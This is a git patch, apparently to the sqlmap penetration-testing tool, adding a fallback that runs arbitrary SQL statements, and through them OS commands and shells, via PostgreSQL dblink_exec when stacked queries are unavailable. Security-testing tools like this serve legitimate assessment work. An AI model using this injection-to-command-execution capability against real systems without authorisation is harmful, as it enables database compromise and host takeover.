From 529fc7aebb4ab021a8de641bb222ed8c70cfd10f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 18 Aug 2026 11:35:54 +0200 Subject: [PATCH] Adding gadget fallback for non-query statement execution without stacked queries (PostgreSQL dblink) --- data/xml/queries.xml | 4 +++ lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/request/inject.py | 45 +++++++++++++++++++++++++++++ plugins/dbms/postgresql/takeover.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/takeover.py | 5 ++++ 7 files changed, 58 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 1cedc3de8..c5809d060 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -137,6 +137,10 @@ + + + + diff --git a/lib/core/option.py b/lib/core/option.py index a850ac53f..5cf18f717 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.forkNote = None kb.futileUnion = None kb.fuzzUnionTest = None + kb.gadget = None kb.heavilyDynamic = False kb.headersFile = None kb.headersFp = {} diff --git a/lib/core/settings.py b/lib/core/settings.py index e480fb962..e32ce3f8c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.47" +VERSION = "1.10.8.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 0c46ba173..ef2f7ccb5 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -48,6 +48,9 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getUnicode from lib.core.decorators import lockedmethod from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE @@ -834,6 +837,36 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser return extractExpectedValue(value, expected) +def getGadget(): + """ + Returns a 'gadget' (a side-effecting scalar expression usable through a + regular - e.g. boolean/time-based - injection) that can run an arbitrary + statement when stacked queries are not available (e.g. dblink_exec() on + PostgreSQL). Detection is done once and cached inside 'kb.gadget'. + """ + + if kb.gadget is None: + kb.gadget = False + + dbms = Backend.getIdentifiedDbms() + + if dbms is not None and "gadgets" in queries[dbms]: + for name, gadget in queries[dbms].gadgets.__dict__.items(): + try: + available = checkBooleanExpression(gadget.check) + except Exception: + available = False + + if available: + infoMsg = "using '%s' gadget to run statement(s) as " % name + infoMsg += "stacked queries are not available" + logger.info(infoMsg) + + kb.gadget = gadget + break + + return kb.gadget or None + def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: setTechnique(PAYLOAD.TECHNIQUE.STACKED) @@ -849,6 +882,18 @@ def goStacked(expression, silent=False): if conf.direct: return direct(expression) + if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data: + gadget = getGadget() + + if gadget: + warnMsg = "statement execution through a gadget is best-effort " + warnMsg += "and its result (if any) can not be retrieved" + singleTimeWarnMessage(warnMsg) + + payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False)) + checkBooleanExpression("(%s) IS NOT NULL" % payload) + return + query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 709f6ff2e..d7a1ff1a7 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -102,7 +102,7 @@ class Takeover(GenericTakeover): def copyExecCmd(self, cmd): output = None - if isStackingAvailable() or conf.direct: + if isStackingAvailable() or conf.direct or inject.getGadget(): # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index de4ef5375..cdab69237 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -71,7 +71,7 @@ class Custom(object): output[i] = joinValue(output[i]) return output - elif not isStackingAvailable() and not conf.direct: + elif not isStackingAvailable() and not conf.direct and not inject.getGadget(): warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" logger.warning(warnMsg) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 8bf7d1853..3af9188fe 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -27,6 +27,7 @@ from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.request import inject from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit @@ -46,6 +47,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry): def osCmd(self): if isStackingAvailable() or conf.direct: web = False + elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget(): + web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) @@ -68,6 +71,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry): def osShell(self): if isStackingAvailable() or conf.direct: web = False + elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget(): + web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg)